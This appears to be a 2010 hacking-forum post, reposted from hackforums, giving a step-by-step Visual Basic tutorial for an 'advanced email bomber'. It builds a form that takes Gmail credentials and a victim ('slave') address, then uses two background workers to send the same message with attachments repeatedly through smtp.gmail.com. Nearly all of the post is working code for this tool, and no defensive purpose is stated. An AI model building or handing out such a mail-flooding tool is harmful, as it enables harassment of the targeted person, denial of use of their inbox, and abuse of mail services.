[TuT] [VB] Advanced Email Bomber | Logical Gamers Archive

29 Oct 2010, 8:55 PM#1

[TuT] [VB] Advanced Email Bomber

not mine, taken from hackforums.net.

-----------------------------------------------

How to make an Advanced Email Bomber / Spammer
Written By: No0b

Hello Hackforums,
I thought I should write up a tutorial on hwo to make an advanced email spammer because most people use Timers, which are really slow.
Lets begin.

Step 1:
Start a new Visual Basic project and select Windows Forms Application.
Name it whatever you like.

Step 2: Form Design
Add the following:
5 Textboxes, Leave the names as it is. They are for: Gmail Username, Gmail Password, slave's address, Email Subject and Message body (make it's Multiline property to True).
List Box for the attachments.
5 buttons, set their text properties as follows:
Button1 - Send
Button2 - Cancel
Button3 - Exit
Button4 - Select Attachments
Button5 - Clear Attachments
Numeric UpDown to select the number of mails you are going to send (for now, set it's maximum value to 100)
A progressbar
2 Background Workers
1 OpenFileDialogue

You should have something like this:

That takes care of the design, lets get into the coding:

Imports:

Code:

Imports System.Net.Mail

Global Variables:

Code:

Dim sendammount As Integer = 0

    Dim sendammount1 As Integer = 0

    Dim sendammountdevided As Integer

    Dim p As Integer

Double click button3 and add the code:

Code:

Me.Close()

Double click Button2 and add code:

Code:

BackgroundWorker1.CancelAsync()

        BackgroundWorker2.CancelAsync()

Add this code under the End Sub of Button2:

Code:

Private Sub BackgroundWorker1_ProgressChanged(ByVal sender As System.Object, ByVal e As System.ComponentModel.ProgressChangedEventArgs) Handles BackgroundWorker1.ProgressChanged

        ProgressBar1.Value = e.ProgressPercentage * 2

    End Sub

    Private WithEvents TestWorker As System.ComponentModel.BackgroundWorker

Double click button1 and add the code:

sendammountdevided = 0

        sendammount1 = 0

        sendammount = 0

        ProgressBar1.Value = 0

        ProgressBar1.Update() 

If NumericUpDown1.Value Mod 2 <> 0 Then

            NumericUpDown1.Text = NumericUpDown1.Text + 1

            NumericUpDown1.Update()

            MsgBox("Blah! I hate odd numbers." + vbNewLine + "I will be adding 1 more!" + vbNewLine + "Making the total number of messages sent " + NumericUpDown1.Text + ".")

End If

        sendammountdevided = NumericUpDown1.Value / 2

        Button1.Enabled = False

        Button3.Enabled = False

        Button2.Enabled = True

        BackgroundWorker1.RunWorkerAsync()

        BackgroundWorker2.RunWorkerAsync()

        ProgressBar1.Maximum = NumericUpDown1.Value

        ProgressBar1.Value = 0

        TestWorker = New System.ComponentModel.BackgroundWorker

Double Click BackgroundWorker1:

Code:

Dim MyMailMessage1 As New MailMessage()

        MyMailMessage1.From = New MailAddress(TextBox1.Text)

        MyMailMessage1.To.Add(TextBox3.Text)

        MyMailMessage1.Subject = (TextBox4.Text)

        MyMailMessage1.Body = TextBox5.Text

        For counter = 0 To ListBox1.Items.Count - 1

            Dim Attach As Net.Mail.Attachment = New Net.Mail.Attachment(ListBox1.Items(counter))

            MyMailMessage1.Attachments.Add(Attach)

        Next

        Dim SMTPServer As New SmtpClient("smtp.gmail.com")

        SMTPServer.Port = 587

        SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)

        SMTPServer.EnableSsl = True

        Do Until sendammount = sendammountdevided

            If BackgroundWorker1.CancellationPending Then

                Exit Sub

            End If

            SMTPServer.Send(MyMailMessage1)

            sendammount = sendammount + 1

            BackgroundWorker1.ReportProgress(sendammount, sendammount)

        Loop

        MsgBox("Done!")

Double click BackgroundWorker2:

Code:

Dim MyMailMessage As New MailMessage()

        MyMailMessage.From = New MailAddress(TextBox1.Text)

        MyMailMessage.To.Add(TextBox3.Text)

        MyMailMessage.Subject = (TextBox4.Text)

        MyMailMessage.Body = TextBox5.Text

        Dim SMTPServer As New SmtpClient("smtp.gmail.com")

        SMTPServer.Port = 587

        For counter = 0 To ListBox1.Items.Count - 1

            Dim Attach As Net.Mail.Attachment = New Net.Mail.Attachment(ListBox1.Items(counter))

            MyMailMessage.Attachments.Add(Attach)

        Next

        SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)

        SMTPServer.EnableSsl = True

        Do Until sendammount1 = sendammountdevided

            If BackgroundWorker2.CancellationPending Then

                Exit Sub

            End If

            SMTPServer.Send(MyMailMessage)

            sendammount1 = sendammount1 + 1

        Loop

Double click button4:

Code:

OpenFileDialog1.ShowDialog()

Double click OpenFileDialogue1:

For Each track As String In OpenFileDialog1.FileNames

            ListBox1.Items.Add(track)



        Next

And just add this code at the ending, before End Class:

Code:

Private Sub donework(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BackgroundWorker1.RunWorkerCompleted

        Button1.Enabled = True

        Button3.Enabled = True

        Button2.Enabled = False

    End Sub

Thats it. Advanced bomber made simple.

Credits:
Me
Nathan for the source
Thanks for reading, please post your feedback.

Made by --([-S7N-])-- of HackForums